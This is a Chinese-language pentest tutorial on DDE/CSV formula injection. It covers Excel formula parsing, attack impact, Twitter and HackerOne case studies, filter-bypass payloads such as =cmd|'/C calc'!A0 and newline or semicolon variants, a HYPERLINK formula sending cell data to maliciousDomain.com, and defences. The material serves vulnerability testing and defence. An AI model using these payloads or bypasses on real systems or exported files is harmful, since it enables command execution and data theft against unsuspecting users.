DDE注入(CSV)漏洞原理及實戰案例全匯總
- 2019 年 10 月 10 日
- 筆記
在滲透中遇到導出功能時,會如何進行測試?任意文件下載?或者越權查看?很多人很容易忽略的是DDE注入:導出格式為csv,xls時,或許你可以嘗試構造這個漏洞,它不會對網站本身產生危害,但會對終端用戶造成任意OS命令執行等危害。

1、漏洞原理:
1)Excel解析機制
第一個需要知道的知識點是,在Excel任何以'='字元開頭的單元格都將被電子表格軟體解釋為公式,如果我們在其中輸入「=2+5」,則表格會顯示為:

實際上,除了=號,以下符號都可用於在Microsoft Excel中觸發公式解釋:
- 等於(「=」)
- 加(「+」)
- 減號(「 – 」)
- 在 (」@」)
這個可以幫助我們在等號=被過濾時,使用其他運算符繞過。
2)DDE注入
動態數據交換(DDE),全稱DynamicData Exchange,是Windows下進程間通訊協議,支援Microsoft Excel,LibreOffice和Apache OpenOffice。Excel、Word、Rtf、Outlook都可以使用這種機制,根據外部應用的處理結果來更新內容。因此,如果我們製作包含DDE公式的CSV文件,那麼在打開該文件時,Excel就會嘗試執行外部應用。比如我們構造包含如下字元串的csv或xls文件:
=cmd | '/ C calc' !A0
Excel會嘗試調用本機CMD命令,給出友好提示,若用戶在無意識狀態下點擊「是」:

而後嘗試接受更正拼寫錯誤,不接受更正則會執行cmd命令,彈出計算器:

所以攻擊的路線就很清晰了:
業務系統接受用戶輸入並導出為csv——>惡意用戶通過介面輸入payload——>受害者下載文件並在PC運行——>受害者PC被攻擊。因此DDE注入攻擊是一種攻擊源來自網站,但最終目標是普通用戶PC的一種攻擊。
2、漏洞危害:
1)OS命令執行
OS任意命令執行是最主要的危害,像上面講過的,可以使用= cmd | '/ C calc' !A0彈計算器或者使用=cmd|'/k ipconfig'!A0彈出ipconfig命令的方式探測漏洞是否存在。類比XSS的利用思路,如果系統可以實現alert(1)彈框效果,說明我們可以執行任意的js程式碼,這取決於我們的利用思路。比如:
- 添加用戶;
- 開啟任意應用程式:IE;
- 操作註冊表;
- 反彈shell;
2)資訊泄露
超鏈接功能 Hyperlink創建快捷方式並進行跳轉,單擊包含HYPERLINK函數的單元格時,Microsoft Excel將打開存儲在link_location的文件,如:

可將表格其中一個單元格設置為以下形式:
=HYPERLINK(「https://maliciousDomain.com/evil.html?data=」&A1,「Click to view additional information」)」
將創建一個單元格,顯示文本「單擊以查看其他資訊」,當用戶單擊,將發送A1中的數據到maliciousDomain.com,從而導致資訊泄露。當然使用第一種攻擊方式也可以實現這種攻擊效果,如:
=6-5 cmd|』 /C 「C:Program FilesInternetExploreriexplore.exe」 http://<attackers site>/asd.html』!A0
它將用戶定向到惡意釣魚網站,實現竊取哈希值和口令等操作。
3、實戰案例:
1)Twitter導出數據處DDE
Twitter用戶發帖,輸入:

介面導出數據處,導出csv文件並在Excel中查看:

若輸入payload:=cmd|' /Ccalc'!A0再次執行,彈出計算器:

2)Hackerone報告導出
這是對於Hackerone過濾的一個繞過,網站後台對於等號=之前新增單引號『以防止公式執行。但在報告導出功能處參數title輸入:
%0A-2+3+cmd|' /C calc'!D2:

%0A被解析為換行符,使得payload正常執行:

3)Hackerone過濾繞過
這是對後台過濾的第二次繞過,在等號前加一個分號;可繞過:
;=cmd|' /C calc'!A0

Excel識別並解析分隔符;,將數據拆分並執行:

4、挖掘思路:
此漏洞特徵較明顯,因此思路簡單:
1、關注系統中是否有導出為csv或xls表格的功能,一般存在於資訊統計,日誌導出等功能處;
2、確定導出的內容是否用戶可控:
1)可能在介面可直接進行編輯/新增;
2)通過數據篡改/HPP/追蹤數據源等方式看是否可以控制輸入;
3、輸入處寫入測試腳本=2*10,導出後查看錶格內容是否解析,輸入:

導出後查看,成功解析:

4、存在過濾,嘗試繞過,最後進行OS執行等深入利用。
5、繞過技巧:
根據案例和挖掘經驗,總結常用的繞過payload有:
1、-3+2+cmd |』 /C calc』 !A0
在等於號被過濾時,可以通過運算符+-的方式繞過;
2、%0A-3+3+cmd|' /C calc'!D2
參數處輸入此payload,%0A被解析,從而後面的數據跳轉到下一行;
3、;-3+3+cmd|' /C calc'!D2
導出文件為csv時,若系統在等號=前加了引號』過濾,則可以使用分號繞過,分號;可分離前後兩部分內容使其分別執行,本機測試:

4、@SUM(cmd|'/c calc'!A0)
5、=HYPERLINK("https://evil.com")
6、防禦手段:
1)一般的防禦手段為,在生成電子表格時,以任何危險符號開頭的欄位應該以單引號、撇號(')字元或空格作為前綴,確保單元格不被解釋為公式,但存在可能被繞過的風險。
2)更好的防禦手段為,根據業務需求控制用戶輸入為字母數字字元;或黑名單過濾=或-號開頭的單元格數據,過濾=(-)cmd或=(-)HYPERLINK或concat等。